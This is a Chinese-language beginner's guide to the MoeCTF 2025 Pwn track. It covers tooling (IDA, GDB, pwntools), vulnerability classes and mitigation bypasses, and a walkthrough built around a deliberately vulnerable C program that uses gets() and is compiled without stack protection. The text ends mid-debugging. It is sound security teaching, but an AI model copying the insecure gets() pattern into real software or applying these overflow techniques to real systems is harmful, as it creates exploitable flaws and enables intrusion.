
MoeCTF 2025 Pwn 入门指北  

欢迎  

欢迎来到 MoeCTF 2025 Pwn。🥳

Pwn（读作“砰”，拟声词）一词起源于网络游戏社区，原本表示成功入侵了计算机系统，在 
CTF 中则是一种题目方向：通过构造恶意输入达到泄漏信息甚至劫持几乎整个系统
（getshell）的目的。其实在  CTF 比赛发展初期，赛题通常只与二进制安全相关，因此 
Pwn 是 CTF 领域最原始的方向。在这里，你能深入计算机系统最底层，感受纯粹的计算机
科学。🤤

接下来，我将和你一起学习，在这篇文档里，帮助你了解Pwn是什么，怎么学，希望你能在
这场 Pwn 之旅玩的开心！各个工具以及环境配置，都为大家准备了相关帖子的超链接，如
果还有问题，欢迎大家随时提问！

前置知识  

鉴于本人也不是太了解其他方向，不敢妄言，但是 Pwn 的前置知识绝对算得上很多，从开
始入门，到拿到你人生的第一个 flag 还需要一段时间，但请耐心沉淀，你的付出一定会迎
来回报！

计算机数据表示  

Pwn 属于二进制（binary）安全，为什么说是“二进制”？因为计算机只处理和存储二进制信
息。与我们日常使用的十进制“逢十进一”不同，“逢二进一”的二进制世界只有“0”和“1”。一
位二进制信息称为比特（bit），8 比特为 1 字节（byte），字节通常是计算机处理信息的最小
单位，计算机中的信息通常是连续的字节。人类输入给计算机的任何信息（文字、图像、
音频等）都可编码为数字信息（二进制比特流）进行处理，需要输出时再解码为原形式。

不同进制间可相互转换，你需要熟悉进制转换方式，其中最重要的是二进制、十进制、十
六进制间的转换。对于 Pwn，我们通常希望轻松阅读内存中的原始数据。为简化二进制表
达便于人类理解，我们通常将计算机中二进制数据用十六进制表示：一位十六进制数正好为 
4 比特，两位十六进制数为 1 字节。
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有时为方便数据类型转换和运算，计算机存储数字时，数字在内存中的高低位与人类阅读的
高低位相反，这种数据存储方式叫“小端存储”。你需要知道大端序（big-endian）和小端序
（little-endian）的概念，能够区分它们，并能做到相互转换。关于这一方面的知识，其实
可以归结到计算机基础中，这里为你推荐南京大学的一门《计算机系统基础》课程，这里
链接给出的仅仅是（一），你不必急于看完，知识的获取不是一蹴而就的，慢慢来，后续还
可以在MOOC中搜索（二）（三）进行观看。

程序设计  

既然 Pwn 涉及逆向程序逻辑，我们需要看懂程序究竟在做什么并寻找其漏洞，那么我们首
先得有能力“正向”写出一般的程序吧。电脑无法读懂人类语言，我们必须得用程序设计语言
编写程序，并编译（详见下文“编译与汇编”）成电脑能“读懂”并执行的机器码。正在阅读这
篇文档的你很可能没有任何编程基础，这很正常。你也许曾了解过 Visual Basic、
JavaScript... 但是对于 Pwn 学习初期，我们一般面对 Linux 环境下的 C 语言。

Note

现在你已经逐渐进入实操阶段了，实操过程中最重要的是善用搜索引擎（以及一些 AI 
大模型），推荐使用必应或谷歌。在接下来的旅程中，你大概需要先配置好“科学上网”
工具。

C  

鉴于 C 语言贴近底层且灵活度高，大多数 Pwn 题目程序都由 C 语言编写，大多数逆向工具
的逆向结果也是类似 C 语言的伪代码（详见下文“IDA 和 gdb”，后面将为你介绍这两个工
具，先别急）。你需要入门学习 C 语言，有两种途径，一个是阅读书本，一个是通过网上的
课程，一切取决于你自己更喜欢哪种学习方式。推荐书籍有《C Primer Plus》，以及查阅非
教程工具网站 C 参考手册（中文）、man7.org（英文）。强烈建议你在 Linux 环境下编译运
行 C 语言（详见下文“环境搭建”）。视频课程方面，经典的黑马程序员可以作为一个手段，
以及 B 站上其他的一些免费网课都是可以的，你将知道什么是 B 站大学（可不只是可以看
番）。

我们目前不需要完整系统地学习 C 语言（不代表未来不需要）。你需要关注 C 语言中的基础
数据类型、流程控制、标准库函数（scanf、printf、puts、strcmp、system、mmap  

等）、位操作和指针。

C 语言能很好地和汇编语言（详见下文“编译与汇编”）对应，学习两者时应相互结合，理解
等效的 C 语句和汇编指令。
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Python  

为了能编写漏洞利用脚本（详见下文“Pwntools”），你还需要学习 Python 语言。Python 语
言极容易上手，网上教程多如牛毛。你至少需要学会基本语法与数据类型、列表（list）
与字典（dict）类型的用法、函数（方法）定义及调用。建议使用 Visual Studio Code 编
辑器编写 Python 脚本。（多敲代码才是王道，纸上觉来终觉浅）

Tip

如果你对计算机科学很感兴趣想系统学习并且英语不错，我强烈建议你看 CS61A 系列
课程及其配套电子书学习 Python。同样的，如果想看一些中文课程，不管是慕课还是
哔哩哔哩，都同样有很多优质并且免费的课程等待你学习，加油！

环境搭建  

GNU/Linux  

Linux 是一种自由和开放源代码的类 Unix 操作系统，如今通常用于服务器，我们日常使用
的 PC 操作系统通常是 Windows。由于 MoeCTF 以及其他 CTF 比赛中的 Pwn 题目全都在 
Linux 特别是 Ubuntu（一个 Linux 发行版）环境中，为了至少能运行 Pwn 题附件的程序
（详见下文“做题”），我们当然需要一个 Linux 环境。推荐安装一个 Ubuntu 虚拟机或使用 
docker（详见下文“Pwn”），网上教程太多，这里不赘述（善用搜索引擎）。如果你只是想尝
试 Pwn，那么 WSL2 也已经够用了，并且更流畅。这里为你推荐一篇 WSL2 的环境搭建文
章，当初我也是照着这篇文章搭建的，希望它也能同样帮助到你！

Pwn  

安装好 Linux 环境后，还需继续搭建 Pwn 环境，这里有一篇十分详尽的文章。

CTF Wiki - Pwn Environment（中文）

如果感觉上面的 Wiki 还不够的话，这里还有另一篇文章可以作为参考：

Pwn环境搭建

如果无法完全复刻也没关系，其中有很多在 Pwn 学习后期才会用到的东西。目前你至少需
要这三样：

af://n21
https://www.runoob.com/python3/python3-tutorial.html
https://cs61a.org/
https://cs61a.org/
https://www.composingprograms.com/
af://n27
http://gnu.org/
af://n28
https://learn.microsoft.com/zh-cn/windows/wsl/install
https://ltfa1l.top/2024/05/01/system/unsorted/%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5%E9%85%8D%E7%BD%AEPwn%E6%89%8B%E7%9A%84wsl2/#%E5%B0%86%E4%BD%A0%E7%9A%84pwn%E6%96%87%E4%BB%B6%E5%A4%B9%E7%A7%BB%E6%A4%8D%E5%88%B0%E4%BD%A0%E7%9A%84wsl
https://ltfa1l.top/2024/05/01/system/unsorted/%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5%E9%85%8D%E7%BD%AEPwn%E6%89%8B%E7%9A%84wsl2/#%E5%B0%86%E4%BD%A0%E7%9A%84pwn%E6%96%87%E4%BB%B6%E5%A4%B9%E7%A7%BB%E6%A4%8D%E5%88%B0%E4%BD%A0%E7%9A%84wsl
af://n30
https://ctf-wiki.org/pwn/linux/user-mode/environment/#ctf-pwn
https://blog.csdn.net/j284886202/article/details/134931709


Linux Python 环境 + pwntools

静态逆向分析工具（如 IDA）

Linux 调试器（如 GDB + pwndbg）

你还需要安装更多工具：checksec、binutils、patchelf、LibcSearcher、glibc-

all-in-one、ropper、one_gadget、seccomp-tools  等，其中有很多你目前用不到，但
前两个建议先安装好（见上文 Wiki 文章）。

一个标准的 Pwn 流程是：

1. 用 checksec  检查保护机制（详见下文“Linux 安全机制”）

2. 用 patchelf  替换 libc、ld 等（可选）

3. 用 IDA 反汇编反编译挖掘漏洞

4. 用 GDB + pwndbg 调试执行确认漏洞

5. 用 Python + pwntools 编写利用脚本

Note

libc 和 ld 分别是 Linux C 标准库和动态链接器。我们用 C 语言编写程序时经常调用一
些“从天而降”的函数（printf、scanf ...），它们其实就在 libc（通常为 GNU 提供的 

glibc）里，ld 则搭起你的程序和这些函数间的“桥梁”。（详见下文“编译与汇编”）
Linux 系统中几乎所有软件都需要用到它们！

Linux 操作  

既然 Pwn 一般在 Linux 中操作，那么学习一些 Linux shell 操作自然必要。你至少应该明白 
cd、ls  、chmod、file、cat、grep、strings、man  等基础命令和管道与重定向的概
念。在这期间，你也将学到 Linux 用户与用户组及其权限管理机制。推荐这个短文（选
读）：

命令行的艺术

Note

在计算机领域，“shell”是一种计算机程序，它将操作系统的服务提供给人类用户或其
他程序，在 Linux 中通常指命令行界面。
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对于 Pwn，一个很重要且必要的命令行工具是 Netcat（nc  命令），它能用来连接 Pwn 题目
在线环境。Netcat 是一个强大的多功能网络工具，目前你只需要知道一种用法：nc <ip> 

[端口]。

Note

各种命令行文档里的尖括号“<参数名>”代表必需参数，方括号“[参数 名]”代表可选参
数，实际使用时不输入。在某些版本的 Netcat 中上述语法应为 nc <ip>[:端口]。

另外你应该学习版本控制软件 git 的基本使用方法，主要是 git clone <URL>，用于下载
各种工具。（git 的功能远不止于此）

还需要了解 Linux 常见的系统调用（syscall）——open、read、write、mmap、execve  

等和文件描述符（file descriptor / fd）的概念：stdin  - 0、stdout  - 1 ...。它们是用户空
间程序（我们平时运行的程序）和操作系统内核沟通的桥梁。你需要知道 Linux 程序运行
时发生了什么（如动态链接过程，got、plt  的概念，调用栈结构）。

很乱对吧？若想系统地详细了解，推荐这本书：

《鸟哥的 Linux 私房菜》（文中 CentOS7 已停止支持，勿安装）

Linux 一切皆文件！希望你能从中感受到 Unix 哲学的魅力。😃 之后我强烈建议你在空闲时
间看看这系列视频：

计算机教育中缺失的一课（镜像）

编译与汇编  

当你读到这里时，你或许已经能用 C 语言编写并运行简单程序（最好在 Linux 中操作），然
而对于 Pwn 来说，我们必须要熟悉程序编译过程和基本的汇编语句。你需要知道 ELF 文件
格式、预处理 -> 编译 -> 汇编 -> 链接（静态 / 动态）过程、Linux 进程虚拟内存空间（栈、
BSS 段、数据段、代码段等）。理解调用栈结构及其增长方向与数据存储增长方向相反是 
Pwn 前期学习的一大重点。

对于汇编语句，我们平时使用的和 Pwn 程序一般编译至 x86 CPU 指令集（本文默认 
amd64），你需要学习 x86 汇编基础，至少应能看懂 mov、lea、add、sub、xor、
call、leave、ret、cmp、jmp  及条件跳转、push、pop、nop。一般来说你现在可以
认为 CPU 会顺序依次执行这些语句，但由于乱序执行、分支预测等技术，实际情况较为复
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杂。除了汇编语句，你需要了解 x86 CPU 寄存器，认识有特殊用途的寄存器（rsp、
rip ...）。

在做 Pwn 题时，有时你需要先在适当位置填入 shellcode（用于获取 shell 的汇编码）再劫
持控制流（详见下文）至此处以执行。你需要知道计算机在汇编层面是如何调用函数的。具
体而言，你需要知道并牢记 amd64 System V ABI 函数调用规约：调用函数时的部分参数通
过寄存器（rdi、rsi、rdx、rcx、r8、r9）传递其余通过栈传递，32 位系统直接通过
栈传递参数（从右至左入栈）；函数返回值也由寄存器（rax）传递。除了函数调用，你还
需要知道 syscall 的系统调用号与参数的传递方式（rax  ...），这与函数调用类似。（善用搜
索引擎）

操作系统  

这个属于比较进阶的基础知识了，你不必在一开始就学习，但是，想要成为一个优秀的 
Pwn 人，操作系统绝对是不可或缺的，未来学校也会为你开设操作系统课，足以说明其重
要性。如果你等不及的话，这里也为你推荐一门宝藏课程，来自南京大学蒋岩炎老师的操
作系统课（当你的基础还没有那么牢固的时候，可能会看不懂，所以这里的区域请以后再
来探索）。

学习路线  

终于正式开始 Pwn 了。😇 以上前置知识不用先学完，最好边学边做。学习 Pwn 一定不能
一直读书，这并不能让你“基础扎实”，反而会让你被庞大的前置知识劝退，学习起来没有任
何的反馈感，网络安全是十分重实践的领域。我的经验是多做题，多看其他师傅（通称）
的 Writeup（赛后复盘），当出现看不懂的知识的时候，就去查询，一层层的递归学习。另
外，尽量看在线资源，书籍信息一般具有滞后性。

IDA  

IDA 是当下一款强大的交互式反汇编器，因为我们在做题的时候，多数情况下附件都只会提
供本题在线服务（由 nc 转发）的可执行文件。因此我们需要通过 objdump  等命令将其内容
解释为人类可读信息。更好的办法是使用专业的逆向分析软件，例如开源软件 Radare2 或
者商业软件 IDA（推荐）。IDA 能为你产生类 C 的伪代码，帮助你了解整个程序在干什么，
还原程序的原貌，Pwn 的逆向相对比较简单，一般来说只需要将可执行文件拖入 IDA，直
接以默认配置进行加载，按下 F5 即可进行反编译，产生伪代码进行阅读。常用的快捷键有
以下：

1. g 跳转到指定的地址。
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2. a 将数据转换为字符串。

3. shift + F12 打开字符串窗口，可以找出所有的字符串。

4. crtl + w 保存ida数据库，保留你当前的工作痕迹，下一次打开时仍能从当前逆向了
一半的基础上继续。

5. x 查看某个函数的交叉引用。

6. n 更改变量或者函数的名称，当程序没有符号时，常以类似 sub_2040 的名称存
在，此时可以根据程序的执行流程，对符号进行还原，提高伪代码的可读性。

7. / 在反编译后伪代码的界面写下注释。

更多的快捷键以及功能可以通过该帖子进行了解。

GDB  

当我们通过 IDA 等了解了这个程序的伪代码，接下来就是调试了，调试能帮助我们更好的
了解这个程序的执行流程，对于 Linux 我们必备 GNU 调试器 gdb，它能追踪程序运行的诸
多细节。我们常用的是 pwndbg 这个针对 GDB 的插件，它的安装流程如该帖子所述，对于 
GDB + pwndbg，我们常用的命令有以下：

1. start  GDB会寻找程序的入口并下断点，然后执行到该断点。

2. run  简写为r，运行程序，与start的区别是，run 之后将一直执行到程序的结束或
者断点，通过 run abc，可以以 abc  为参数运行。

3. next  简写为 n，源代码级别的调试，运行下一行代码。

4. nexti  简写为 ni，汇编指令级别的调试，运行下一个指令。

5. step  简写为 s，下一行代码，当遇到函数的时候会步入函数。

6. stepi  简写为 si，下一行指令，当遇到函数的时候会步入函数。

7. info register  简写为 i r，查看当前寄存器信息。

8. disassemble  简写为 disass，反汇编所给地址或寄存器中所给地址处的指令如 

disass $rip，查看当前 rip 处的指令，disass 0x40112b，查看地址 0x40112b 处
的指令。

9. break  简写为 b，下断点，可以通过 info b  查看当前下的所有断点，以及通过 b 

*$rebase(<offset>)  通过相对程序基址的偏移下断点（当找不到入口信息，无法 

start  的时候，常通过这个进行下断点）

10. vmmap  查看程序的地址映射
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11. checksec  pwndbg 中集成了 pwntools 的一些命令，checksec 就是其中一个，查
看可执行文件的保护机制。

12. cyclic  同样是 pwntools 的一个命令，能产生不重复的模式字符串，常用于确定
栈偏移，如 cyclic 15  能产生“aaaaaaaabaaaaaa”。

13. quit  简写为 q，退出当前调试。

14. crtl + c  中断被调试的程序，举个例子，比如当前程序跑到了 read，阻塞在了
接收输出的时候，此时可以通过 crtl + c  中断程序的运行，此时你可以查看程序
中断时的寄存器、栈、内存、调用栈等状态。

15. TAB  进行命令的补全。

16. aslr on/off  开启或者关闭 ASLR（见下文），下一次运行生效。

17. stack  查看当前栈的信息。

18. x  通过x/i打印指令，x/s  打印字符串，x/x  打印十六进制数等。这个的参数比较
多，建议自行查阅资料来了解。

19. tele  是 pwntools 提供的一个命令，可以自动解析该地址处的内容及引用，但是
它解释指令的时候不一定正确，反汇编指令仍推荐 x/i。

请一边做题一边领悟它们的作用。其他的一些命令，也同样为你推荐一篇帖子进行学习。

Pwntools  

还记得之前好不容易配置好的 pwntools 吗？它是一个强大的 Python 库，它能够替我们自
动与程序交互，接收程序输出并向程序输入，和手动键盘操作的效果差不多（更快！）。
Pwntools 中还有很多实用工具，不仅仅是一个“输入输出工具”。学习 pwntools 不需要从头
读文档，应该用到什么学什么。多读其他师傅的 exp（漏洞利用脚本）可以发现很多方便的 
pwntools 用法。你至少需要知道如何接收程序输出，如何向程序输入，特别是无法用键盘
正常输入的“二进制”信息。当你做了一些 pwn 题后，甚至应该写一个属于自己的 pwntools 
模板。这里为你推荐 pwntools 的中文文档，以及，我推荐你学习一下 pwn college 中的
pwntools模块，后文将会对 pwn college 这个宝藏网站进行详细的介绍。

这里为大家说一下如何用 pwntools 结合 pwndbg 进行调试，在脚本中指定 context，常用
的如下

from pwn import *

context(arch="amd64",os="linux",log_level="debug")

https://www.cnblogs.com/murkuo/p/15965270.html
af://n153
https://pwntools-docs-zh.readthedocs.io/zh-cn/dev/fmtstr.html
https://pwn.college/pwntools~9b09c9dc/pwntools/


之后需要指定终端，这个设置告诉 pwntools 启动一个 新终端窗口/tab/pane 来运行 GDB，
而以下是几种常见的终端。

之后在脚本中通过 gdb.debug()  或者 gdb.attach(<process>)  启动 gdb，两者的区别
是，前者是从头启动程序，并自动 attach 到 GDB，而后者是 attach 到已有进程进行调试，
需要在 attach 之前通过 process(<path>)  启动程序。

Tip

虽然 recv()  和 send(...)  很方便，但是我强烈建议使用 recvuntil(...)  和 

sendafter(...)，以防止各种本地和远程环境不符的情况。sendafter  函数的首个
参数（“接收至”）也不宜过长，几个字符即可（别忘了 \n）。 Pwntools 库函数的参数
和返回值类型通常为 bytes，传入字符串字面量时应在前加上 b  标记（例如 b'I am 

string'  ），使其成为 bytes（不这么做会有警告，虽然不影响解题）。

AI  

当下，AI 时代来临，以前你获取知识，需要去图书馆查阅相关书籍，或者通过搜索引擎进
行检索（搜索引擎的检索是一门艺术），技术存在壁垒，当初我入门的时候，就苦于不知道
学什么、怎么学，被狠狠的劝退了，但现在不同了，AI 的崛起，让你拥有了几个知无不言
言无不尽并且博览群书的老师，如 DeepSeek，ChatGPT，Grok 等等，虽然并不是所有情况
下，他都能回答正确，但是对于大多数的问题，他都会给你一个正确的答案，所以善用
AI，能够帮助你快速的学习，赶超与别人的差距，这里并非让你什么都依赖 AI，请你一定
记住，AI 只是一个辅助的工具，多动手才是王道！

AI 可以做的事情包括但不限于帮你了解一个从未知道的知识，解决报错（你的学习中会遇
到数不尽的报错，让你头皮发麻，大多数时候，AI 都能帮你解决，但每次解决之后请你稍
微花点时间了解一下为什么会出现这个错误，而不是把 AI 给你的命令复制过去就结束了，
这样有助于遇到相同的情况可以自主解决），翻译英文文献或者帖子等等，用好 AI，他就是
你锋利的🗡！

#wsl

context.terminal=['wt.exe','wsl']

#tmux

context.terminal=['tmux','splitw','-h']

#konsole

context.terminal = ['konsole', '-e']

af://n163
https://www.deepseek.com/
https://chatgpt.com/
https://grok.com/
af://n166


常见漏洞和利用方法  

以下列举出一些入门常见的漏洞和利用方法，限于篇幅只能一句话概括且不够准确严谨。你
必须通过 CTF Wiki 等资料（详见下文“推荐资料”）具体学习，这里仅提供学习方向。
（“⭐”数代表针对入门学习的重要性）

普适漏洞及利用  

整数溢出 —— 数学世界整数有无穷多，但由于内存限制，计算机中补码表示的“整
数”有上下限。通过输入超大数字溢出或者利用有符号整数（负数）强转为无符号
整数可以构造超大数字，从而绕过检查或越界写入。⭐⭐⭐

栈缓冲区溢出 —— 最经典的漏洞，通过越界写入修改函数返回地址或栈指针从而
实现劫持控制流和栈迁移（篡改栈基址 rbp）。⭐⭐⭐⭐

字符串 \0 结尾 —— C 风格字符串以零字节（“二进制”的 \0 而非 ASCII 数字 0）结
尾。如果破坏或中途输入这一标记则可泄漏信息或绕过检查（如绕过 strcmp）。
这是很多漏洞的“万恶之源”。⭐⭐⭐

返回导向编程（ROP）—— 这是 Pwn 前期学习重点。其中包含 ret2text、
ret2libc、ret2syscall、ret2system、ret2shellcode、ret2csu、SROP 等，这也是栈
缓冲区溢出的主要目的。进阶：通过 ropper  或者ROPgadget等工具寻找程序中 

gadgets（ROP 片段，以 ret  结尾）结合栈缓冲区溢出构造调用链控制程序执行流
甚至能执行几乎任意行为（通常 open、read、write）。⭐⭐⭐⭐⭐

竞争条件 —— 程序并行访问共享资源时，由于各线/进程执行顺序不定，有可能绕
过检查或破坏数据。⭐

Linux 安全机制  

NX（No eXecute）—— 通过将栈内存权限设置为不可执行，使栈上机器码不可执
行，从而无法简单地在栈上布置 shellcode。一般所有题目都会开启，可用栈迁移
或修改可执行位等方法绕过。⭐⭐⭐

Canary —— 在栈上栈指针和返回地址前设置一个随机值（canary），通过比对函
数返回前和执行前该值是否相等来检测栈缓冲区溢出攻击。通过直接越界读泄漏、
劫持  scanf  特殊输入或爆破等方法绕过。⭐⭐⭐⭐

ASLR / PIE —— 通过随机化程序的内存布局（地址），使得攻击者难以预测程序的
内存结构，从而增加攻击难度。设法泄漏基址或爆破等从而绕过。⭐⭐

RELRO —— 通过将动态链接程序的全局偏移量表（GOT）在程序启动后设置为只
读，防止通过修改其中数据结构进行攻击。⭐

af://n166
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Seccomp —— 一种沙箱保护机制，可以限制程序能够使用的 syscall。⭐

CFI（IBT / SHSTK）—— 控制流完整性保护，可以阻止 ROP 攻击，抑制 COP、
JOP 攻击。

GLibc 相关利用  

fmt_str —— 若 printf  等格式化字符串函数中“格式”（format）参数为用户输入，
则可被利用，从而达到任意地址读写等目的。⭐⭐⭐

one_gadget —— 将程序指针修改至 glibc 中的一些特殊位置（one_gadgets）同
时满足少量条件即可直接 getshell。⭐

Heap / _IO_FILE / ... —— Pwn 永无止境 ...

pwn college  

这里推荐一个学习 Pwn 的宝藏网站 Pwn college：https://pwn.college/

简单介绍一下，这个是一个由亚利桑那大学（University of Arizona）网络安全研究团队开
发的、面向初学者和进阶者的免费在线 PWN 学习平台，其中包含了课程、靶场等，相当于
他们学校的本科生和研究生修 pwn 的课程所用的实验平台，初一打开，可能会因为全英的
界面有些劝退（当初第一次被推荐的时候我就是这样的），但稍微了解怎么用之后，其实很
简单，这里为大家介绍一下它主要的模块和用法，首先是上面的 dojo（道场），这是主要的
题目模块，其中包含上面的入门模块和下面的核心模块，Getting Started 中主要是教你怎
么使用这个网站，Linux Luminarium 中则是包含了很多 Linux的基础知识，是一个上手 
Linux 的模块，能很快的通过一个个的 challenge 模块对 Linux 的使用进行快速了解，
Computing 101 中主要是对汇编语言进行了一个学习，最后一个子 module 甚至让你用汇编
语言搭建一个简易 Web server，对该模块的学习能让你很快的掌握汇编语言的使用，
Playing With Programs 模块中，则包含了一些与程序的交互，下面的核心模块中，
Program Securiy更贴近于我们前期的 ROP 学习，推荐前面的基础模块入门后，优先选择该
核心模块进行学习。

af://n194
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pwn college 的学习曲线设计非常平滑，从0基础进行教学，并且很多模块都有配套的视频
课程，Youtube 课程有自带的字幕，看起来没有想象的困难。每个模块中含有若干 
challenge，由浅入深，学习比较有反馈感。

start 将正式开启一个挑战环境，而 Practice 将开启一个有 root 权限的挑战环境（无法获得
真正的 flag），开启之后，通过上方的 Workspace 将开启一个远程环境上的 VSCode 界面。



接下来的解题将主要通过该场景进行，/challenge 路径下放着题目，解题后在环境启动界面
提交 flag。

推荐资料  

以下资料不是全都要看完，只需自行挑选一些最适合自己的即可。

《深入理解计算机系统》—— CSAPP

《程序员的自我修养：链接、装载与库》

CTF Wiki

CTF-All-In-One

《CTF 权威指南（Pwn 篇）》

CS 自学指南——计算机科学（Computer Science）自学指南。

《IDA Pro 权威指南》

以下推荐一些视频课，帮助一些不是很喜欢看书的同学有效的学习

CSE365，是pwn college中针对新生开设的一堂课，将带领新入门的学生走进pwn
的世界。

CSE466，是pwn college中进阶的课程，你将学习程序安全、系统安全等进阶知
识。

你有多想 pwn，B 站上国资社畜师傅针对 pwn 的一个课程，相比前面的英文课
程，这个中文课程更为友好一些。

南大计算机基础，了解计算机基础的一门好课，基础不牢地动山摇！

af://n211
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.2_integer_overflow.html
https://csdiy.wiki/
https://www.youtube.com/watch?v=DJO1A2neZ6Y&list=PL-ymxv0nOtqqYpFVmqh9Wsfebq05pssju
https://www.youtube.com/watch?v=DJO1A2neZ6Y&list=PL-ymxv0nOtqqD1VLRpK0sS11-TJPwVYsK
http://xn--pwn()https-0l3ira0090hq4d45jrt6a141ab3r4pf1la//www.bilibili.com/video/BV1mr4y1Y7fW
https://www.icourse163.org/course/NJU-1001625001?from=searchPage&outVendor=zw_mooc_pcssjg_
af://n238


常用小tip  

终端代理  

当本机启动代理之后，终端的流量并不会走代理，此时终端的一些网络访问仍然存在问题，
比如 docker 拉取镜像、github访问等会卡掉，此时需要在终端内手动进行代理的设置，下
面以 WSL2 举例，大多数常用代理软件，如 Clash Verge 的指定端口为 7890，此时在终端
内通过以下命令查看本机在 WSL 中的 ip

之后通过以下命令进行代理设置，之后终端就可以快乐的科学上网辣！（仅限于当前的终
端，重新启动后需再次设置，亦或者加入到 shell 启动配置文件，这样每次启动会自动设
置）

Markdown  

Markdown 是一种轻量级标记语言，用于编写格式简单、易读，我们在学习中通常需要保留
学习痕迹或者记录笔记，最重要的，编写 Writeup 通常也采用 Markdown，因此这里推荐使
用一些 Markdown 编辑器进行编写，如 Typora 和 Notion 等，上手之后非常方便。

GDB调试窗口优化  

当我们调试的时候，经常会发现，pwndbg 输出的信息太多，导致经常和程序的输出混杂在
一起，难以分别，这里通过更改 GDB 的输出，将 pwndbg 的输出信息输出到另一个终端
上，形成以下的的样子

ip route | grep default

export https_proxy="http://查询到的ip:7890"
export http_proxy="http://查询到的ip:7890"

af://n238
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能看到左边是程序的输出，右边的终端是 pwndbg 的输出，这样将信息分离，能更好的帮助
我们调试，具体实现如下，首先，在要输出右侧信息的终端，通过执行 tty  命令查询终端
号，得到的输出如下

编辑 GDB 的 init 文件，执行 vim ~/.gdbinit，输入以下设置

接下来，右侧的这些信息就会全都输出到该终端了。

解题  

别忘了这里是 CTF！一般的 CTF Pwn 题目由题目描述、附件、远程环境组成。你需要做的
是通过刚才所学分析附件中程序的漏洞并成功在本地 getshell 或拿到“flag”。获取本地的 
shell 没什么意义，远程环境运行的程序和附件中的相同，只要连接远程环境并执行相同操
作即可获取远程的 shell！（MoeCTF Pwn 比较简单，不一定需要 getshell。）程序附件一般
没有可执行权限，记得先执行 chmod +x <file>。

Important

/dev/pts/5

set context-output /dev/pts/5

af://n254


对于西电 CTF 终端：如果你正在使用虚拟机/WSL，最稳妥的方案是在虚拟机/WSL 上
安装并配置 wsrx。如果在主机配置 wsrx：请首先确保虚拟机能和主机共享网络（例如
能访问正常网站）。在 wsrx 主页点击小齿轮设置监听地址为 0.0.0.0 然后在主机执行 
ipconfig 查询本机局域网 IP 地址（或者为虚拟机配置的 NAT 分配的主机地址），在虚
拟机/WSL 里通过主机地址（例如 192.168..）连接远程环境而非 127.0.0.1/localhost。
注意在这种情况下需要将平台在线环境给出的 ws 链接（点击“WSRX”键）粘贴到 wsrx 
主页进行连接而不能用平台直接创建连接。连接环境并非题目考察内容，如仍有问题
请直接联系群管理员。

MoeCTF 题目设置由易到难知识覆盖面较广，而且面向基础。但是但是，刚开始做 Pwn 也
许一道题就能做一天（也算是 Pwn 的乐趣所在吧😌），这很正常。如果你未能完全看懂本
指北，也很正常（“学习路线”一节有不少“超纲”的知识）。大胆尝试才是关键！直接开始 
MoeCTF 2025 吧，如果你未来想要继续做题：

攻防世界

Bugku

pwn.college（零基础）

Pwnable

CTFTime——全球 CTF 赛事时间表。

实例  

Caution

接下来的实例中会反复出现 gets  函数，但请注意，这是一个早已弃用的，一定会产
生漏洞的函数。我们使用这个函数只是为了演示方便，在现实存在的程序中很难见到
它。大家在编写正常的 C 程序时千万不要使用 gets。

一个简单的栈缓冲区溢出  

接下来用一个栈缓冲区溢出，帮你了解一下栈缓冲区溢出主要是在做什么，如果你还不知道
栈是什么的话，可以通过 CTFWiki 进行了解。

环境：x86_64 GNU/Linux

在运行之前，通过 echo "flag{Congratulations You get your first flag!}" > 

flag  在当前路径生成一个 flag，并编写我们的 pwn.c 文件

https://adworld.xctf.org.cn/
https://ctf.bugku.com/
https://pwn.college/
https://ctftime.org/
af://n271
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https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/


接下来通过以下命令进行编译，（$  仅为提示符，实际不输入）

// File: pwn.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>

#include <unistd.h>

void getflag() 

{ 

    int fd = open("flag", O_RDONLY);

    char buf[100];

    int n = read(fd, buf, sizeof(buf));

    write(1, buf, n);

    close(fd); 

}

int main(void) {

  char flag[0x8];

  char buf[0x8];

  

  puts("Now input something! Maybe I can give you a flag!");

  gets(buf);

  if(strcmp(flag,"YourFlag") == 0){

    getflag();

    printf("\nI know u can do this!\n");

  }

  else

  {

    printf("\nNothing.\n");

  }

  

  return 0;

}

$ gcc -no-pie -fno-stack-protector pwn.c -o pwn



此时在当前路径生成了一个名为 pwn  的程序文件，接下来我将带着你走一遍这道题目的攻
击流程。

攻击  

1. 用 checksec  检查保护机制  

我们将得到该程序的保护机制

能看到栈缓冲区溢出保护（Stack Canary）和位置无关程序（PIE）保护已关闭。

2. 用 IDA 反汇编反编译挖掘漏洞  

将程序拖到 IDA 中，首次打开该程序会显示如下设置

$ checksec --file=pwn

Arch:     amd64

RELRO:      Partial RELRO

Stack:      No canary found

NX:         NX enabled

PIE:        No PIE (0x400000)

SHSTK:      Enabled

IBT:        Enabled

Stripped:   No

af://n283
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直接点击 OK，接下来我们将进入 IDA 的主界面

通过按快捷键 F5 或者 TAB 进行反编译，进入到伪代码界面



我们能看到，IDA 该程序进行了反编译，形成了一个类 C 的伪代码，与前面我们编写的题
目进行对比，能看到首先丢失了符号信息，main  函数中的 flag  和 buf  两个符号都已经没
了，与之对应的分别对是这里的 s1[8]  与 v4，甚至类型信息也存在问题，我们源程序中的 

buf  是一个 char  类型的数组，这里被识别为了 __int64，而且 gets  函数明明只有一个参
数，这里变成了两个参数。鼠标点击符号使光标移动于此，通过快捷键 n  更改变量名称，
快捷键 y  更改类型，还原一下程序原本的样貌，此时可以看到，程序已经和我们最初的源
码几近相同了。真实情境下我们大概没有源码，需要自行推断栈上变量布局。



此时我们阅读一下程序的逻辑，它通过 gets  向 buf 中进行了读取，之后进行了一个判别，
如果 flag  的内容为 YourFlag，则会执行 getflag  函数获得 flag，可是我们自始至终没有
对 flag 进行输入，这要怎么控制它的内容呢？原来，gets  对输入长度没有进行限制，它会
一直读取到换行符 \n  才停止（直接运行的话，一直到我们输入回车停止），但它的长度只
有8，多输入的部分会到哪呢？接下来，我们通过 GDB 进行动态调试，观察一下溢出的部
分到了哪里。

3. GDB调试  

通过 gdb ./pwn  调试该程序

接下来我们将进入到 GDB 的页面，通过 start  启动程序
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能看到右侧最上面 pwndbg 输出了相关的寄存器，中间是我们程序执行到的位置，以汇编形
式展示，下面是栈中的内容，最下面是程序的调用栈，通过 ni  命令，我们能逐指令执行，
